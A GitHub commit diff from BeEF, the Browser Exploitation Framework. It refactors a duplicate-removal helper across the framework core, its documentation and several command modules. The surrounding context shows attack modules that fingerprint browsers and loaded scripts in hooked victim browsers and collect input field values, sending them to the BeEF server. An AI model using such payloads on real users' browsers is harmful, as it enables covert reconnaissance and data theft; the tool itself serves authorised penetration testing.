File tree 6 files changed +30
-31
lines changed
6 files changed +30
-31
lines changed Original file line number Diff line number Diff line change @@ -3917,12 +3917,12 @@ beef.browser = {
3917
3917
getPlugins : function ( ) {
3918
3918
3919
3919
var results ;
3920
- Array . prototype . unique = function ( ) {
3921
- var o = { } , i , l = this . length , r = [ ] ;
3922
- for ( i = 0 ; i < l ; i += 1 ) o [ this [ i ] ] = this [ i ] ;
3923
- for ( i in o ) r . push ( o [ i ] ) ;
3924
- return r ;
3925
- } ;
3920
+
3921
+ function unique ( array ) {
3922
+ return $ . grep ( array , function ( el , index ) {
3923
+ return index === $ . inArray ( el , array ) ;
3924
+ } ) ;
3925
+ }
3926
3926
3927
3927
// Things lacking navigator.plugins
3928
3928
if ( ! navigator . plugins )
@@ -3941,8 +3941,8 @@ beef.browser = {
3941
3941
// Sometimes store the version in description (Real, Adobe)
3942
3942
else results [ i ] = navigator . plugins [ i ] . name ; // + '-desc.' + navigator.plugins[i].description;
3943
3943
}
3944
- results = results . unique ( ) . toString ( ) ;
3945
-
3944
+ results = unique ( results ) . toString ( ) ;
3945
+
3946
3946
// All browsers that don't support navigator.plugins
3947
3947
} else {
3948
3948
results = new Array ( ) ;
Original file line number Diff line number Diff line change @@ -3944,12 +3944,12 @@ <h1 class="page-title">Source: browser.js</h1>
3944
3944
getPlugins: function () {
3945
3945
3946
3946
var results;
3947
- Array.prototype.unique = function () {
3948
- var o = {}, i, l = this.length, r = [];
3949
- for (i = 0; i < l; i += 1) o[this[i]] = this[i];
3950
- for (i in o) r.push(o[i] );
3951
- return r ;
3952
- };
3947
+
3948
+ function unique(array) {
3949
+ return $.grep(array, function(el, index) {
3950
+ return index === $.inArray(el, array );
3951
+ }) ;
3952
+ }
3953
3953
3954
3954
// Things lacking navigator.plugins
3955
3955
if (!navigator.plugins)
@@ -3968,7 +3968,7 @@ <h1 class="page-title">Source: browser.js</h1>
3968
3968
// Sometimes store the version in description (Real, Adobe)
3969
3969
else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
3970
3970
}
3971
- results = results. unique().toString();
3971
+ results = unique(results ).toString();
3972
3972
3973
3973
// All browsers that don't support navigator.plugins
3974
3974
} else {
Original file line number Diff line number Diff line change @@ -42,7 +42,7 @@ def setup()
42
42
43
43
# push events to logger
44
44
logger = BeEF ::Core ::Logger . instance
45
- events . each do |key , value |
45
+ events . each do |value |
46
46
logger . register ( 'Event' , parse ( value ) , zombie . id )
47
47
end
48
48
end
Original file line number Diff line number Diff line change @@ -10,17 +10,16 @@ beef.execute(function() {
10
10
var browser_version = new Array ;
11
11
var dom = document . createElement ( 'b' ) ;
12
12
13
- Array . prototype . unique = function ( ) {
14
- var o = { } , i , l = this . length , r = [ ] ;
15
- for ( i = 0 ; i < l ; i += 1 ) o [ this [ i ] ] = this [ i ] ;
16
- for ( i in o ) r . push ( o [ i ] ) ;
17
- return r ;
18
- } ;
13
+ function unique ( array ) {
14
+ return $ . grep ( array , function ( el , index ) {
15
+ return index === $ . inArray ( el , array ) ;
16
+ } ) ;
17
+ }
19
18
20
19
parse_browser_details = function ( ) {
21
20
if ( ! browser_type . length ) browser_type [ 0 ] = "unknown" ;
22
21
if ( ! browser_version . length ) browser_version [ 0 ] = "unknown" ;
23
- beef . net . send ( "<%= @command_url %>" , < %= @command_id % > , "browser_type=" + browser_type . unique ( ) + "&browser_version=" + browser_version . unique ( ) ) ;
22
+ beef . net . send ( "<%= @command_url %>" , < %= @command_id % > , "browser_type=" + unique ( browser_type ) + "&browser_version=" + unique ( browser_version ) ) ;
24
23
} ;
25
24
26
25
// Browser fingerprints // in the form of: "URI","Browser","version(s)"
Original file line number Diff line number Diff line change @@ -11,12 +11,12 @@ beef.execute(function() {
11
11
var results = [ ] ;
12
12
var urls = "" ;
13
13
14
- Array . prototype . unique = function ( ) {
15
- var o = { } , i , l = this . length , r = [ ] ;
16
- for ( i = 0 ; i < l ; i += 1 ) o [ this [ i ] ] = this [ i ] ;
17
- for ( i in o ) r . push ( o [ i ] ) ;
18
- return r ;
19
- } ;
14
+ function unique ( array ) {
15
+ return $ . grep ( array , function ( el , index ) {
16
+ return index === $ . inArray ( el , array ) ;
17
+ } ) ;
18
+ }
19
+
20
20
// Fingerprints of javascript /ajax libraries . Library Name: Array of common file names
21
21
22
22
var fingerprints = {
@@ -69,7 +69,7 @@ beef.execute(function() {
69
69
}
70
70
}
71
71
if ( results . length > 0 ) {
72
- urls = results . unique ( ) . join ( '||' ) ;
72
+ urls = unique ( results ) . join ( '||' ) ;
73
73
beef . net . send ( "<%= @command_url %>" , < %= @command_id % > , "script_urls=" + urls ) ;
74
74
}
75
75
else {
Original file line number Diff line number Diff line change @@ -25,7 +25,7 @@ beef.execute(function() {
25
25
26
26
// return input field info
27
27
if ( input_values . length ) {
28
- beef . net . send ( '<%= @command_url %>' , < %= @command_id % > , 'result=' + JSON . stringify ( input_values . unique ( ) ) ) ;
28
+ beef . net . send ( '<%= @command_url %>' , < %= @command_id % > , 'result=' + JSON . stringify ( unique ( input_values ) ) ) ;
29
29
// return if no input fields were found
30
30
} else {
31
31
beef . net . send ( '<%= @command_url %>' , < %= @command_id % > , 'error=Could not find any inputs fields on ' + window . location ) ;
You can’t perform that action at this time.
0 commit comments